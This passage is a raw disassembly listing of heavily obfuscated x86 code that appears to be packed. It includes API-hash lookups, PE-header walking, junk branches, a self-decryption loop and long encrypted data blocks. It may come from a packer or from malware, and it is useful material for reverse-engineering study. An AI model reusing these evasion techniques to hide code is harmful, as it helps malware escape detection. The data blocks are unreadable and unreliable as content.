effectively a NOP. pop edx mov [ebp+5FC80DFh], eax mov esi, [ebp+5FC80E3h] ror esi, 10h mov [edx+2], si mov esi, [ebp+5FC80E3h] mov [edx-4], si popa mov eax, [ebp+5FC80DFh] retn ; --------------------------------------------------------------------------- loc_5A3754: ; CODE XREF: .XComp0:005A36D4j lea edx, [ebp+5F9227Dh] mov [ebp+5F92579h], edx mov [ebp+5F91151h], edx inc dword ptr [ebp+5F91151h] mov byte ptr [ebp+5F91899h], 53h push 0FCB148D8h push dword ptr [ebp+5F92719h] lea eax, [ebp+5F93A6Ah] call eax mov [ebp+5F91AEDh], eax lea eax, [ebp+5FC7A08h] mov [ebp+5F92491h], eax jmp loc_5A37EE ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] add esi, [esi+3Ch] mov edi, [esp+28h] mov edx, esi add edx, 0F8h mov cx, [esi+6] movzx ecx, cx loc_5A37B8: ; CODE XREF: .XComp0:005A37E3j cmp ecx, 0 jz loc_5A37D7 cmp edi, [edx+0Ch] jg loc_5A37DF sub edx, 28h mov eax, [edx+0Ch] mov ecx, [edx+14h] sub eax, ecx sub edi, eax loc_5A37D7: ; CODE XREF: .XComp0:005A37BBj ; .XComp0:005A37E9j mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_5A37DF: ; CODE XREF: .XComp0:005A37C4j add edx, 28h dec ecx jnz loc_5A37B8 jmp loc_5A37D7 ; --------------------------------------------------------------------------- loc_5A37EE: ; CODE XREF: .XComp0:005A3798j mov edx, 9FD3Eh jmp short loc_5A3815 ; --------------------------------------------------------------------------- align 4 dd 7 dup(0) db 0 ; --------------------------------------------------------------------------- loc_5A3815: ; CODE XREF: .XComp0:005A37F3j jmp loc_5A3FB0 ; --------------------------------------------------------------------------- jmp loc_5A3FA9 ; --------------------------------------------------------------------------- push 5FC84BAh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC85B3h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC8857h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC88D2h jmp loc_5734FA ; --------------------------------------------------------------------------- db 32h dd 7B5A828Fh, 5D88BC53h, 7154887Bh, 6087BD48h, 0BB598B7Ch dd 56B11946h, 66A547AEh, 55B417BEh, 66A748AFh, 0B86314BEh dd 239A03C5h, 0DBE48D42h, 3EF41AF1h, 0A7A173CEh, 2C742404h dd 3CD0A94Ah, 504D2996h, 7A892FBEh, 34F54DBFh, 7A44B07Eh dd 0F1880BD4h, 0D0A99624h, 9E6F5067h, 695D8978h, 0CD2F01F7h dd 719238BFh, 9D89AD7Ch, 56h, 8592E867h, 17812996h, 41A916CBh dd 0ECC3AFA9h, 0EB26F920h, 351F12EAh, 0BBBD2F9Eh, 0C853E076h dd 2F924ED5h, 0CB0AB24Dh, 1026EB22h, 0E063BE8h, 1214DBD9h dd 102ACCECh, 3841D227h, 0B52398ECh, 41C526C8h, 0F4000000h dd 0E302E620h, 29C6A44Ch, 0F138F1E4h, 46CED75Dh, 0FE06C957h dd 0EF62F4F8h, 2995D98Ah, 0FB0EAD4Ah, 530F1FFAh, 0B7649DC5h dd 2F925BE6h, 59BB6623h, 0F46CDDCFh, 16FA3D1Fh, 75B45B99h dd 7EA09ABCh, 7CA55E8Ch, 39BE8098h, 0D47ADA1Eh, 99F0880Bh dd 4B70A995h, 8C3433BAh, 81881283h, 8A2F8955h, 1B8AC282h dd 0DB3136BBh, 1E24922Bh, 87769815h, 0CC41935Bh, 2B97B7A9h dd 2CAE17FDh, 0B98D3F09h, 72745695h, 0F01E84DFh, 0A2FFA61h dd 0E550F802h, 3FCFC669h, 88D245F5h, 80856651h, 7DBA5C0Dh dd 9BDE7DC4h, 53A99676h, 9676B5C8h, 917532A9h, 0AACF8294h dd 2FA99686h, 676E9F40h, 4AC277B2h, 59516824h, 2ADDFD5Ah dd 1B3BF6A3h, 508E5D2h, 0D936F8DCh, 19FB10AEh, 0BA5CC874h dd 45EC880h, 0FFB0F7DDh, 8273903Ah, 0F03D45A7h, 0BB86B343h dd 0E3739C44h, 8F288E70h, 0FBB44AFh, 1224F5F8h, 0FB043DEAh dd 0CB143AD1h, 0DD28912Eh, 5AED01D8h, 0A39CF91Bh, 5FFC45FAh dd 0A39CF91Eh, 1C5DFE9Bh, 99A39CF9h, 0F21125ECh, 64EF4AE4h dd 0A39CF919h, 0D903E996h, 0AC66063Eh, 0CBA56A8Ch, 8CC8D6A0h dd 0A8h, 0FF69FF56h, 69143FDEh, 0E6299685h, 2CFDF039h dd 0FA053CE5h, 24E906D5h, 5B0649EDh, 82F9306h, 840904E9h dd 8EEF2CD5h, 0B239A04h, 0D32ED31Eh, 850801ECh, 0AB342D4h dd 15DE08E6h, 16DB2A05h, 1EE7D4EBh, 0F3D93EF8h, 0A42674D9h dd 9E80EADh, 33D2F7E4h, 0D122E7C2h, 0B0FA9657h, 59373E37h dd 0D2000004h, 0DBFA22EFh, 0FDE81CF3h, 0D1F428DBh, 0E71DE8h dd 1BF92BDCh, 0F611B9E6h, 0C645A74Eh, 0F514B71Eh, 0C647A84Fh dd 5803B41Eh, 239A0125h, 0CE8B2DA2h, 787D8831h, 0A2DB78A1h dd 1F299685h, 151BCC62h, 65000004h, 30A55E8Ch, 0EFA8389h dd 991CEDD0h, 27C8ECC0h, 0FADC5161h, 20E93A41h, 3A3E3B0Eh dd 0E1182996h, 0BB29963Ah, 299639C1h, 9639E095h, 39BBBA29h dd 847B2996h, 0A548AF58h, 96B87164h, 9639C6B3h, 0A0BB86E9h dd 699639DDh, 0DD89AD5Ah, 0FEA0F4Bh, 96397904h, 0F4D7F669h dd 0FD3ADC15h, 0BDACD044h, 496A4FB5h, 816EA2A5h, 0C0BD6F92h dd 46D52CCDh, 639A1433h, 0D5C944A9h, 0CC5A0628h, 5A8F7864h dd 749F5A9Fh, 639A1509h, 0D2759986h, 69933A68h, 493C369Eh dd 5D243339h, 6B5441B9h, 50098C83h, 0A144BAC3h, 7F4A375Dh dd 0F3FF8E34h, 8C999A7Eh, 360h, 0E91BF6D9h, 0F72DE2FEh dd 0E319EAD0h, 0F62ED704h, 0E81CEBCFh, 44A8D74Ah, 18B621C3h dd 47A651F3h, 12BB1AC2h, 0DE9B49FBh, 9A003C3Dh, 7414B923h dd 23AA638Ch, 0D586BB86h, 299685A4h, 0A6D76421h, 23299685h dd 294D066h, 893FF1BBh, 7326A762h, 812D67A1h, 91689148h dd 962DF782h, 67877429h, 92AF9DE4h, 0C74D2Fh, 85C45FC3h dd 9C668EA0h, 0C19B882Eh, 3BE62B1Fh, 0C83A5ED9h, 38F1E425h dd 0D36D8BD4h, 0BC10F943h, 5F359A5Ch, 0D61539DAh, 0AED0FF4h dd 16FE23E0h, 4E0D2FD5h, 2399E02Bh, 0B419FBA8h, 37A31C78h dd 0EA0CDDD0h, 86FF6901h, 37FA97DBh, 33EF35Eh, 96F03158h dd 33E99629h, 9DEC89F0h, 84EC7A1Dh, 6B3EAF58h, 95C67BA6h dd 1D9DECE4h, 0A592A461h, 9A6F0B76h, 0A34CB323h, 49B6636Ah dd 0B6636AA5h, 0A0BB58A0h, 17A16ADDh, 0BD64AD5Ah, 0C901657h dd 0F4A528E1h, 9A9A4420h, 7582B774h, 7742B356h, 0A149A1DCh dd 0A8611E17h, 7A7B8A2Fh, 7F608F9Fh, 4E6F568Eh, 942BCEBFh dd 0FA4DE12Ah, 17A1498Bh, 825ECA5Ch, 229D448Dh, 92474EBBh dd 0F5A4AF7Ch, 3A1D9DCBh, 676D944Dh, 0D18241CAh, 11A4F1A8h dd 0CD947825h, 6E509D9h, 40CDF2E9h, 5EB65389h, 9A98A7ADh dd 0D3223495h, 16FE23EAh, 0ED2E87B4h, 11A5378Ch, 0A1B81C09h dd 0CBF2ED16h, 2ACF183Eh, 0D56CFDA2h, 0A51D3346h, 21F3B011h dd 0A31C48C4h, 0DDCD138h, 81F66E9h, 66F011A5h, 209B34Ch dd 3C3DDE8Bh, 0B911A507h, 25DC05CCh, 0A50783F6h, 8130011h dd 11A50775h, 5AFC35F2h, 89473EDDh, 0D0E717A1h, 8EEF2CEDh dd 0B0BA885h, 7E2D31Eh, 35D92A90h, 0E019C0BDh, 0B7DC7AECh dd 4FDF0EB5h, 319C3FA0h, 7BCB1CBBh, 0CC50D6Fh, 0C0B81CC5h dd 257FB9A1h, 9C3BF519h, 47D3DA33h, 7C5089D1h, 0A3475DADh dd 7AA69064h, 0EDC07243h, 13DE1C72h, 0F40B3603h, 9E4B42CBh dd 9EC4D578h, 0D20111A4h, 300EAE9h, 9B12D792h, 23DE03CEh dd 0AB9A85F8h, 3CD3FB05h, 1FEE0B9h, 0A12C16ABh, 96B81D30h dd 0DCAFC64Dh, 8D2D05ABh, 4B74737Ah, 20DCBC2h, 49EE0AD4h dd 0DC1A63F0h, 0EA9705ABh, 0DDA9B544h, 6EC5F403h, 13C4h dd 40A01700h, 0EB0BDECFh, 0A291E855h, 70D2996h, 73000000h dd 969F91E8h, 69FF5829h, 364B0831h, 0AB2F9307h, 0F563F7FEh dd 0FFE774ADh, 0E529932Ah, 9419F6DAh, 0DCC931C5h, 0F317C5FFh dd 31343DBEh, 0BCh, 0C5779A35h, 0AB51BE22h, 0BF659E4Ch dd 0AA52B318h, 0B4689F4Bh, 4874235Eh, 14BA1DBFh, 3BA245F7h dd 0EAF16CEh, 42F7DDFFh, 99FD6811h, 0C080E523h, 83169FFh dd 0DF24C631h, 785FC4Fh, 0DFA2F93h, 9F18E188h, 4D30CB3Ah dd 0CA239A03h, 0C63DF7DDh, 752B3DBAh, 951385E1h, 0CF3AA136h dd 0BC6931Ah, 0A05E9D6h, 0F340D683h, 933CEE68h, 0EFCCB929h dd 0BEF332DFh, 412B3A3Bh, 0BA000000h, 0A342FA17h, 0C530D43Bh dd 993CE023h, 0C82FD530h, 0E341E324h, 3EC9F1AEh, 0EFDDF06h dd 3DCCEFD6h, 0EFFE007h, 104BECD6h, 2399FD6Dh, 8AC385EAh dd 0Ch, 0DA320FB6h, 388D93C0h, 0F83ED012h, 29AC658Ch, 696CA13Eh dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh dd 75788B2Dh, 0CCC14E72h, 3C81681Bh, 3C890000h, 0E1895124h dd 4C181h, 0E9830000h, 240C8704h, 243C895Ch, 218568h, 24348900h dd 0E3BE5655h, 0F707C93Fh, 43F681D6h, 89B4DBE5h, 0CD815EF5h dd 387459DDh, 0ED81EDD1h, 38823C95h, 545DEF89h, 8324348Bh dd 895504C4h, 0EF8957FDh, 5F087E89h, 24348B5Dh, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 5F2434FFh, 4C481h, 5BE90000h dd 0B8FFFCF5h, 243FAE3h, 0BB6E1DD3h ; --------------------------------------------------------------------------- push eax loc_5A3FA9: ; CODE XREF: .XComp0:005A381Aj mov eax, 5FC8938h add eax, ebp loc_5A3FB0: ; CODE XREF: .XComp0:loc_5A3815j mov ecx, eax jmp short $+2 jmp loc_5A4777 ; --------------------------------------------------------------------------- jmp loc_5A4770 ; --------------------------------------------------------------------------- push 5FC8AEEh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC8C9Eh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC8D56h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC8E65h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC8FD1h jmp loc_5734FA ; --------------------------------------------------------------------------- dd 79AB6689h, 679D724Eh, 73A95A80h, 669E6754h, 78AC5B7Fh dd 9438679Ah, 0C826D173h, 9736A143h, 0C22BCA72h, 8E2B994Bh dd 99FBACCDh, 0FDC42923h, 0C62EDB02h, 80C3EA9Ah, 0E45AFCFCh dd 968591E8h, 89665129h, 9EDF7284h, 70299685h, 2996860Ch dd 779239C6h, 85E891C2h, 0B8652996h, 85C6B396h, 0DAA02996h dd 0B2299685h, 0A99685C3h, 0B8517C83h, 0DE709F3Fh, 13CE1482h dd 8F93AE08h, 15CCB9AFh, 1BC643AAh, 3AA03BA4h, 0DC15C4C9h dd 0B517003Ah, 10B4E5C7h, 8170865Bh, 0E994BF5Ah, 66A39D0Ah dd 70C970B9h, 9D0A9AE3h, 0C46A17A3h, 41765E1Bh, 77EBBC5Ch dd 0A13733C3h, 9163A247h, 94957C56h, 5C854CB0h, 0BEBF5CA5h dd 3BA39D80h, 95A5A84Eh, 0CBA996A6h, 0C818A34h, 917E625Dh dd 2B88757Dh, 3EF4929Ch, 0F470757Eh, 9E000005h, 0AF16CE43h dd 0F9DC000Fh, 0E51034CFh, 0FCDB0104h, 2F0537D0h, 0E225C5F2h dd 0DA319B3Ah, 0F118C322h, 0CA43AC4Bh, 4C07B012h, 2399FB31h dd 8C7739AEh, 0E099BA63h, 5D299685h, 5CB069A0h, 0B758C4F9h dd 568F9F24h, 4AC32C93h, 937C6443h, 6C824722h, 96449DD9h dd 8EDCB329h, 18CC419Eh, 0F8FD10ADh, 0AB0DCEEFh, 881C9158h dd 12BBB19Dh, 25EA28DEh, 12D78FE1h, 1AEBD0E7h, 0F7DD3AF4h dd 0F6CD0632h, 877C9254h, 4D2F4CD5h, 20B716A1h, 70864BBCh dd 530B4h, 46CE8E00h, 9466DCF7h, 79789E61h, 0EF8AC954h dd 6C299651h, 7ABF7AAFh, 9651A0D9h, 0CE601D29h, 52086E15h dd 59842996h, 963A3DB0h, 3AA57479h, 0D7F7693h, 832ECFAh dd 0E720CC33h, 0E42333E6h, 520138F6h, 29965127h, 9857F7A4h dd 0CD36A437h, 21D811C8h, 0E0D53A96h, 0A015F4D7h, 359700C9h dd 0CFF640D6h, 4B51FEEh, 577B8A10h, 1E301B24h, 0FB770211h dd 7F42995h, 0CF3AA186h, 0D82B8D2Ah, 0F4D9FC36h, 0FFD59419h dd 0A64706C8h, 0D7E6CE66h, 883B4666h, 0DF4B1737h, 81B86183h dd 95A8A7D2h, 0D7772429h, 0AB56B718h, 0A8B4C556h, 74312995h dd 576009E2h, 6D7C9271h, 0B988BC4Fh, 2995A8BCh, 905A943Ah dd 0F431BDF2h, 7087B277h, 6237BE4Fh, 7E5613CCh, 0F9AC36Bh dd 2F3BDB20h, 97E271B9h, 22299600h, 4C3CCDAh, 611E80A0h dd 939B71A8h, 0FAFD3CA4h, 0CADF9AB9h, 9F5C2995h, 9267C46Ah dd 3A2E5B3Ah, 2ACC82E6h, 8EA04F27h, 0CE2DDA2Fh, 0B0FF4601h dd 44D3E2D3h, 0EE000004h, 0DF063ED3h, 9EC10FFh, 0D50024DFh dd 0CEB11F4h, 1FF527E0h, 0F215B5E2h, 0CA41AB4Ah, 108B312h dd 3AD3FCDBh, 0FC17E002h, 2399F981h, 8CA749FEh, 9D6FAA63h dd 91AD791Eh, 0CE17372Dh, 0BBFED62Bh, 0D53D4A84h, 0F5B3C655h dd 73302995h, 45AB14E3h, 0B2B58CA6h, 0B223EE02h, 40E427C5h dd 9613C4F1h, 23571E29h, 0F7D52996h, 83F2A114h, 74299603h dd 9F6486E2h, 0D57F964Dh, 5C95F8CBh, 16E12FA5h, 0A3FFE7CEh dd 0A65BA693h, 49865C2Eh, 5AF9777Fh, 2995971Fh, 0FC4FDF9Ch dd 2F8EC90Ah, 36A747B0h, 35B87196h, 4B2AD264h, 53A069A0h dd 0B0FC9998h, 8C847182h, 36000003h, 27CE769Bh, 319448C7h dd 1DC87C87h, 349349BCh, 0C75D7F88h, 5AAD0D4Ah, 729943A2h dd 49C02BCAh, 828B3493h, 94BF785Ah, 2399F8E9h, 0CE3F0166h dd 6E808B31h, 8AAF5E7Fh, 39BC4F6Dh, 5415CE60h, 67877E6Bh dd 7BA66788h, 6C253299h, 5910857Eh, 0CB285173h, 68DAABE9h dd 6688B1AEh, 0D200E77Dh, 0EB28F5DAh, 2995C192h, 22D7120Fh dd 0DDD03395h, 0E229930Ch, 431DE24Ch, 44D2F99h, 2DDh, 8591E8DEh dd 0AC0F2996h, 2230A45Dh, 7EEB7F98h, 0B9416B41h, 0F0595AEEh dd 0CC33D45Eh, 0A251E51Eh, 0E0C7CE3Bh, 0B890CFDh, 5B3666Eh dd 179E714Dh, 0DFAD6A42h, 0CCC14873h, 0C800D41Dh, 0E3A641F7h dd 0C10DEC02h, 0FA1900EBh, 2995C37Fh, 1CEFCDFCh, 0C009C099h dd 0ED99B319h, 99D6A1E6h, 0BA36BB75h, 7B4D2F82h, 56h, 7A9539C6h dd 0AA90A673h, 83169FFh, 0B83DCCEFh, 33E04DE1h, 2F8F8C83h dd 0A142918Eh, 5BB0FFB1h, 27D4B5Ah, 0C8270000h, 8C349349h dd 54766183h, 816A8DAFh, 55756084h, 79B88AB2h, 0CF75923Ah dd 9F45C628h, 0D0749538h, 9F45C825h, 0A6D78435h, 232399F7h dd 0B0890AAEh, 0BD526E89h, 7ACD6138h, 29968607h, 34A748AFh dd 0A747828Bh, 25A7524Fh, 62C215D9h, 0EDF61808h, 0FE26E30Ah dd 9617F6D7h, 924A9004h, 41648833h, 0F40CE0E4h, 0C4659752h dd 0F49BDE7Dh, 6B182995h, 18C32CCBh, 886154B5h, 3C349841h dd 984445B5h, 0E6D11A3Ch, 0F3E10308h, 1319FB46h, 0D868A01Bh dd 475D87Eh, 812995D9h, 0C4261184h, 0C11D9A3Fh, 2592474Eh dd 975243C6h, 1A8DBD77h, 409E19C0h, 0B5C22BCBh, 54CF013h dd 2995D870h, 5179F761h, 6D6A3FB6h, 0CD74BD50h, 0D896E774h dd 8E212995h, 99273D5Fh, 0CE601D81h, 7D50B261h, 0B1BB2F8Fh dd 831E0885h, 6FAA5F45h, 75A76888h, 9E684094h, 1FC1C921h dd 0DD00E00Fh, 0D0C50CFFh, 0D82D8E29h, 3F204D5h, 5D0114D8h dd 517F55C0h, 0AC121598h, 14F87E42h, 9CC87607h, 0DE36F323h dd 2C73E9Bh, 0EFFE0D7h, 0A33CD287h, 5D203B06h, 0DA239CEFh dd 0EA092Dh, 8E189203h, 0AB12AD54h, 0D1F0765Eh, 4830C00Dh dd 0A8CA89A6h, 6E29965Ah, 6F58893h, 0C801DA4h, 0E6CEF503h dd 87A7544Ah, 7E61B26Fh, 8CBEF435h, 1118263h, 14BB0000h dd 40A047FDh, 20CA2DCFh, 359641E3h, 21C92CD0h, 0ADE43EE6h dd 339CEEEh, 0EB11FAE4h, 0F428E10Ch, 0FB21ECD1h, 8AF320D9h dd 72399F6h, 638C9E62h, 67886FAAh, 37BE4774h, 7326A762h dd 6D5F0AE3h, 143EDEF5h, 89688EEEh, 0B4537764h, 923BC47Dh dd 2512DB7Bh, 6B4C41C4h, 5306877Eh, 65537E6Ch, 8742179Eh dd 0ABB78E06h, 79C079F3h, 95CD9FDAh, 0AE8A2A29h, 70465423h dd 7E7D918Eh, 2E369E50h, 0AD6475Eh, 5479789Eh, 25A86787h dd 0BD84BD74h, 99DB9E57h, 5DFEDFD2h, 2995F01Ch, 0F04AEC99h dd 2FC84D1Fh, 370A4Dh, 0EAD50000h, 4CF20401h, 968592E8h dd 86675029h, 6C530687h, 5910857Eh, 749936B5h, 6B5067D0h dd 0B046139Ah, 243Fh, 5E7D7A00h, 0CA6F2AABh, 9685F089h dd 9EB06D29h, 8B31CE98h, 0C22A0D80h, 0E76A8C45h, 29968592h dd 0A65EAF10h, 3E81B788h, 13h, 0AF58847Bh, 0AFCB6B3Eh dd 91EC27D2h, 0E299685h, 8C37FD11h, 3E29AC65h, 7E696CA1h dd 4423AA5Fh, 7B7C719Ah, 3235B84Fh, 6F787D8Ah, 2D3ABB4Ah dd 7275788Bh, 1BCCC14Eh, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 3C682434h, 8900003Dh, 8956243Ch, 4C681E6h dd 83000000h, 348704EEh, 0C895C24h, 3BE5624h, 8905FC8Ah dd 24348BF7h, 4C481h, 15680000h, 89000047h, 4812424h, 424h dd 0EC835900h, 243C8904h, 8B08418Fh, 8950240Ch, 405E0h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_5A475A: ; CODE XREF: sub_5A47B5-4j add eax, 4 xchg eax, [esp+26h+var_28+2] pop esp push [esp+22h+var_24+2] pop edi add esp, 4 jmp loc_5734FA ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- db 4, 0B7h, 0B0h ; --------------------------------------------------------------------------- loc_5A4770: ; CODE XREF: .XComp0:005A3FB9j mov eax, 5FC9107h add eax, ebp loc_5A4777: ; CODE XREF: .XComp0:005A3FB4j mov edx, ecx call near ptr loc_5A4780+4 sar dword ptr [edx], cl loc_5A4780: ; CODE XREF: .XComp0:005A4779p or eax, 593C9EA9h add di, 8FA6h add ecx, 6303h mov edx, 189Bh mov eax, edi ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_5A4797: ; CODE XREF: sub_5A47B5+4Cj mov ebx, [ecx] mov esi, 0FA9C255h sub ebx, 3E38F22Ah call sub_5A47B5 pop ebx mov byte ptr [edi+0D6612EDh], 1Dh js short loc_5A475A push 26h ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; =============== S U B R O U T I N E ======================================= sub_5A47B5 proc near ; CODE XREF: sub_5A47B5-11p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005734FA SIZE 0000004D BYTES ; FUNCTION CHUNK AT 0057377D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00573A28 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00573E6E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057554E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057627D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00576738 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0057796E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057821B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00579014 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00579AE3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00579C68 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057AD54 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0057ADE1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057B167 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057B1F0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0057C788 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057CA46 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057D591 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057D675 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057DBB3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057E6C0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0057E725 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057EB64 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0057FAF4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00580349 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058053D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00580585 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005807A3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00581160 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058142D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00581F1B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005822A1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00582702 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058352F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A475A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A4797 SIZE 0000001E BYTES clc pop edi xor ebx, 604AA2D5h mov si, 0E2B7h sub ebx, 380E96h mov [ecx], ebx pusha mov di, cx movsx eax, dx popa sub ecx, 4 jo loc_5A47E6 jge loc_5A47E6 or eax, 6D79C2ADh loc_5A47E6: ; CODE XREF: sub_5A47B5+1Fj ; sub_5A47B5+25j dec edx jnz loc_5A47FE jmp loc_5A4819 ; --------------------------------------------------------------------------- dw 3656h dd 0D6530C9Bh, 0C68DEE39h db 0E9h, 0FAh ; --------------------------------------------------------------------------- loc_5A47FE: ; CODE XREF: sub_5A47B5+32j mov si, dx jmp loc_5A4797 ; --------------------------------------------------------------------------- dw 0AC5Fh dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh db 0EEh ; --------------------------------------------------------------------------- loc_5A4819: ; CODE XREF: sub_5A47B5+38j jmp loc_5A496F ; --------------------------------------------------------------------------- dw 9B19h dd 0ECE7543Fh, 5893DA95h, 0CFDF0671h, 54FDBEB6h, 0A436365Dh dd 0D500BCECh, 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh dd 0AC325277h, 0BF009CACh, 0ADFC6C46h, 36597390h, 0E275D6A3h dd 90BD9C72h, 0E693DD00h, 92A79B8Ch, 0ABDD64A5h, 8F9792A7h dd 5CFC7A91h, 0E496B9F9h, 0E4B59BB1h, 92B69F47h, 0F694B6E5h dd 0EBB59EBDh, 0D0EC96B3h, 0BF999C93h, 5CFD7B97h, 0F49389F5h dd 0CD00EDAFh, 94A6E3B2h, 0C3B5D4E5h, 2D445700h, 29B0F362h dd 58AEh, 6000h, 6400h, 2 dup(0) dd 400h, 9400h, 500h, 100h, 0A2800h, 200h, 72655300h, 65636976h dd 63615020h, 32206Bh, 21h dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A496F: ; CODE XREF: sub_5A47B5:loc_5A4819j jmp loc_5A7674 ; --------------------------------------------------------------------------- push 5FC965Ah jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC979Bh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC9893h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC997Ah jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC9A91h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC9BD9h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC9CBCh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FC9D84h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCA397h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCA428h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCA644h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCAB66h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCAFBCh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCB4BFh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCB6DBh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCB788h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCB80Dh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCB85Eh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCBA65h jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCBBCBh jmp loc_5734FA ; --------------------------------------------------------------------------- push 5FCBE97h jmp loc_5734FA ; --------------------------------------------------------------------------- dw 8C33h dd 58785F85h, 786285B7h, 4D6E598Bh, 796184B8h, 45BC568Eh dd 0AB51B616h, 0B369A24Ch, 0BC60A914h, 0A359B419h, 0A2DB7841h dd 1F2399F1h, 0D3F8FFAAh, 8C161C32h, 56CD8D63h, 0FF6AB326h dd 0FBE4C3CAh, 0E87EEA12h, 76CC87B2h, 0A42F8F8Dh, 0D340B930h dd 0F7B223EAh, 1B1BC515h, 51603FBh, 239CDB74h, 0F8FD34F1h dd 9CDB2E4Bh, 0CB44AC23h, 0BFEDDCAh, 0DD09008Ah, 0C210F701h dd 0D6F36804h, 1AC33C48h, 72702F3h, 851Bh, 46CEED00h, 0E48E2CCFh dd 38E31E76h, 29959745h, 3531C5C2h, 77C277A3h, 97E891C2h dd 86652995h, 0C86EA368h, 8EAAA585h, 1546FB2Fh, 239C8564h dd 0EA1224E1h, 856B0E4Dh, 3BE8239Ch, 0BD3AFFF6h, 0D404E81Bh dd 66D90D45h, 4D2C1F2Fh, 0CB239B86h, 4E3EA21h, 4FBD30D9h dd 0EC742A38h, 93793521h, 0E48A693Dh, 5C1D3E02h, 0D9239C03h dd 0BC51E52Ch, 48D5DF20h, 27DE0BF4h, 87FCDCC5h, 0D3634F99h dd 14357h, 638CB100h, 798623AAh, 0AC59824Fh, 95B97029h dd 1C917656h, 0AD3EB21Bh, 2AB6D8E2h, 9FDA79A0h, 1C2995FAh dd 4423AA5Fh, 87CA729Bh, 2995FF35h, 0C77D902Dh, 0B11CBF20h dd 4F689158h, 41189D6Ch, 8A7534ADh, 7831A461h, 3EAF5E7Fh dd 99FCB6Bh, 0F64732E1h, 0A5C42995h, 1CCDC043h, 0EFE51CD5h dd 2265F7CAh, 3BF81E6Ch, 3AD5F906h, 852D3114h, 0A41B2F8Fh dd 8E8CF38h, 43D38607h, 0F116CEBBh, 33720B48h, 32EF239Dh dd 5AD6401Ch, 0A35E9370h, 0C085E331h, 83937A0Bh, 49748BB6h dd 0FA1CCDC0h, 987CA657h, 8B342329h, 935E0B82h, 0F588936Eh dd 721DA095h, 6D94A1B5h, 95F68794h, 0B6731DA0h, 9E6951A0h dd 98715C63h, 0E6CE2715h, 0D3049DC9h, 973EF81Eh, 973DB733h dd 0BEDECF3Ah, 0A173BA37h, 0A11E74C2h, 0B605CC37h, 0BEF3B1DDh dd 3FC7AEC7h, 32000029h, 7B5A828Fh, 5D88BC53h, 7154887Bh dd 6087BD48h, 